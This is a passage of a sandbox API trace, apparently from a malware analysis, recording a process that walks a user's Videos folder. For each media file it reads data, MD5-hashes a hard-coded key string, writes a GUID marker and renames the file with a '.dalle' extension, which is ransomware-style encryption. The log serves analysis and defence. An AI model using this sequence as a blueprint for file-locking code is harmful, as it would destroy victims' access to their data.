returned="Videos\\" [0121.842] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.842] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.842] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.842] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.842] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.842] PathFindFileNameW (pszPath="") returned="" [0121.842] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.842] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1367260, ftCreationTime.dwHighDateTime=0x1d4c816, ftLastAccessTime.dwLowDateTime=0xa3bea320, ftLastAccessTime.dwHighDateTime=0x1d4c6bf, ftLastWriteTime.dwLowDateTime=0xa3bea320, ftLastWriteTime.dwHighDateTime=0x1d4c6bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.844] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1367260, ftCreationTime.dwHighDateTime=0x1d4c816, ftLastAccessTime.dwLowDateTime=0xa3bea320, ftLastAccessTime.dwHighDateTime=0x1d4c6bf, ftLastWriteTime.dwLowDateTime=0xa3bea320, ftLastWriteTime.dwHighDateTime=0x1d4c6bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.844] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4692d650, ftCreationTime.dwHighDateTime=0x1d4cd6b, ftLastAccessTime.dwLowDateTime=0x4ff65470, ftLastAccessTime.dwHighDateTime=0x1d4c905, ftLastWriteTime.dwLowDateTime=0x4ff65470, ftLastWriteTime.dwHighDateTime=0x1d4c905, nFileSizeHigh=0x0, nFileSizeLow=0xbe1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="75RcH8me-e.mp4", cAlternateFileName="75RCH8~1.MP4")) returned 1 [0121.844] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.844] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0121.844] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\75RcH8me-e.mp4") returned=".mp4" [0121.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\75RcH8me-e.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\75rch8me-e.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.844] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=48671) returned 1 [0121.844] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.846] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbdf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.846] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.848] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xbe1f, lpOverlapped=0x0) returned 1 [0121.848] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.849] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.849] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.849] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.849] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.849] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.849] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.850] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.850] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.850] GetLastError () returned 0x0 [0121.850] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.850] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.850] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbe1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.850] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.850] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.850] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.850] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.850] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.850] CloseHandle (hObject=0x618) returned 1 [0121.853] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.853] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8c0) returned 0x3093b88 [0121.853] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\75RcH8me-e.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\75rch8me-e.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\75RcH8me-e.mp4.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\75rch8me-e.mp4.dalle")) returned 1 [0121.855] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a5fc70, ftCreationTime.dwHighDateTime=0x1d4d039, ftLastAccessTime.dwLowDateTime=0xe36f14e0, ftLastAccessTime.dwHighDateTime=0x1d4d543, ftLastWriteTime.dwLowDateTime=0xe36f14e0, ftLastWriteTime.dwHighDateTime=0x1d4d543, nFileSizeHigh=0x0, nFileSizeLow=0x60be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9M5mfpNiu.avi", cAlternateFileName="9M5MFP~1.AVI")) returned 1 [0121.855] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.855] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0121.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\9M5mfpNiu.avi") returned=".avi" [0121.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\9M5mfpNiu.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\9m5mfpniu.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.856] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=24766) returned 1 [0121.856] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.857] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6098, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.858] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.859] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.859] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x60be, lpOverlapped=0x0) returned 1 [0121.860] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.860] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.860] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.860] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.860] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.861] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.861] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.861] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.861] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.861] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.861] GetLastError () returned 0x0 [0121.861] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.861] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.861] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x60be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.861] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.861] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.861] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.861] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.861] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.861] CloseHandle (hObject=0x618) returned 1 [0121.862] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.862] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0121.862] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\9M5mfpNiu.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\9m5mfpniu.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\9M5mfpNiu.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\9m5mfpniu.avi.dalle")) returned 1 [0121.864] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5caeee40, ftCreationTime.dwHighDateTime=0x1d4d538, ftLastAccessTime.dwLowDateTime=0x8ec94d80, ftLastAccessTime.dwHighDateTime=0x1d4c72d, ftLastWriteTime.dwLowDateTime=0x8ec94d80, ftLastWriteTime.dwHighDateTime=0x1d4c72d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aMTPOWpHV-gn", cAlternateFileName="AMTPOW~1")) returned 1 [0121.864] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.864] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e188 [0121.864] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e240 [0121.864] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5daa2270, ftCreationTime.dwHighDateTime=0x1d4c727, ftLastAccessTime.dwLowDateTime=0xd99fcb40, ftLastAccessTime.dwHighDateTime=0x1d4d2c7, ftLastWriteTime.dwLowDateTime=0xd99fcb40, ftLastWriteTime.dwHighDateTime=0x1d4d2c7, nFileSizeHigh=0x0, nFileSizeLow=0xb8e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tAptBCu.swf", cAlternateFileName="")) returned 1 [0121.864] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.864] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0121.864] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\tAptBCu.swf") returned=".swf" [0121.864] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\tAptBCu.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\taptbcu.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.864] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=47337) returned 1 [0121.864] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.866] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb8c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.866] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.868] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.868] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xb8e9, lpOverlapped=0x0) returned 1 [0121.868] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.868] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.868] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.869] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.869] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.869] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.869] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.869] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.869] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.870] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.870] GetLastError () returned 0x0 [0121.870] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.870] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.870] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb8e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.870] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.870] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.870] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.870] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.870] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.870] CloseHandle (hObject=0x618) returned 1 [0121.871] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3023140 [0121.871] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0121.871] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\tAptBCu.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\taptbcu.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\tAptBCu.swf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\taptbcu.swf.dalle")) returned 1 [0121.873] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5daa2270, ftCreationTime.dwHighDateTime=0x1d4c727, ftLastAccessTime.dwLowDateTime=0xd99fcb40, ftLastAccessTime.dwHighDateTime=0x1d4d2c7, ftLastWriteTime.dwLowDateTime=0xd99fcb40, ftLastWriteTime.dwHighDateTime=0x1d4d2c7, nFileSizeHigh=0x0, nFileSizeLow=0xb8e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tAptBCu.swf", cAlternateFileName="")) returned 0 [0121.873] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.873] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.873] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094830 | out: hHeap=0x5e0000) returned 1 [0121.873] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.873] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0121.873] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.873] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.873] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.873] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.873] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.873] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.873] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.873] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.873] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.873] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.873] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.873] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.873] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.873] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.873] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.873] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.874] RtlAllocateHeap 